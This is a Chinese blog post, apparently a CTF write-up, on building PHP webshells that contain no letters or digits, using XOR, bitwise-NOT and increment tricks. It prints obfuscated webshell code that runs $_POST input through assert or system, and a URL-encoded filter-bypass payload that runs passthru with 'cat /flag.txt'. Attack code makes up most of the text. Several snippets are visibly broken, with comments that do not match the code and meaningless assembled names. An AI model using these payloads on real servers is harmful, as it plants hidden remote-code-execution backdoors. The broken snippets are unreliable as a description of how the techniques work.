由一题了解深入不包含数字和字母的webshall
字数 807 2025-08-04 00:46:02
不包含数字和字母的Webshell构造方法详解
前言
本文详细讲解三种不包含数字和字母的PHP webshell构造方法,这些技术在CTF比赛和渗透测试中非常实用,可以绕过严格的字符过滤限制。
方法一:异或运算构造
基本原理
- PHP中两个字符串经过异或操作会得到一个新的字符串
- 字母对某字符进行两次异或会得到字母本身
- 可以绕过数字和字母的限制
实现代码
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'
$___=
$$
__;
$_($___[_]); // assert($_POST[_]);
关键点
%01等是通过URL编码的不可打印字符- 任意非字母数字字符都可以用于异或
- 异或运算特性:
a ^ b ^ b = a
方法二:取反运算构造(PHP7+)
基本原理
- 利用UTF-8编码中汉字的某个字节
- 通过取反运算得到需要的字母
实现代码
<?php
$__=('>'>'<')+('>'>'<'); // $__=2
$_=~('瞰'{$__}); // $_='s'
$____=~('和'{$__}); // $____='e'
$_____=~('半'{$__}); // $_____='t'
$______=~('始'{$__}); // $______='c';
$_______=~('俯'{$__}); // $_______='o';
$________=~('瞰'{$__}); // $________='d';
$_________=~('次'{$__}); // $_________='e';
$__________=~('站'{$__}); // $__________='v';
$_=~('和'{$__}).~('和'{$__}).$_____.$______.$_______.$________; // $_='system'
$__($_); // system($_POST[_]);
注意事项
'和'{2}语法仅支持PHP7+- 使用
true+true代替数字2(PHP弱类型特性) - 需要构造完整的函数名和变量名
方法三:自增运算构造
基本原理
- PHP中字母可以自增:
'a'++='b','b'++='c'等 - 通过强制类型转换获取初始字母
实现代码
<?php
$_=[].''; // $_='Array'
$__=$_[0]; // $__='A'
$___=++$__; // $___='B'
$____=++$__; // $____='C'
$_____=++$__; // $_____='D'
$______=++$__; // $______='E'
$_______=++$__; // $_______='F'
$________=++$__; // $________='G'
$_________=++$__; // $_________='H'
$_=$______.$_______.$_________.$______.$________.$_______; // $_='EFGHFGE'
$_($_____.$______.$_______.$_________); // $_($_POST[_]);
关键技巧
- 数组转字符串得到
'Array' - 从
'A'开始自增构造所有字母 - 组合出自定义的函数名和变量名
实战案例:CTF题目解析
题目限制
- 过滤了大部分字母,只允许
0-3和C - 禁用
system,exec,shell_exec等函数 - 长度限制107字符
解题思路
- 利用自增方法构造
passthru函数 - 通过
$_GET传递参数
最终Payload
$_=C;$C=++$_;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.$_;(
$$
_{1})(
$$
_{2});
URL编码后
%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B
使用方式
GET: ?looklook=1&1=passthru&2=cat /flag.txt
POST: ctf_show=[上面编码后的payload]
总结
- 异或方法适用于所有PHP版本,但需要构造较长的payload
- 取反方法仅支持PHP7+,构造相对简洁
- 自增方法最灵活,但需要一定的初始字符
- 实际应用中需要根据目标环境选择合适的方法
- 这些技术可以组合使用,绕过更严格的过滤
参考资料
- P神文章:不包含数字和字母的webshell
- PHP官方文档关于字符串操作和类型转换的部分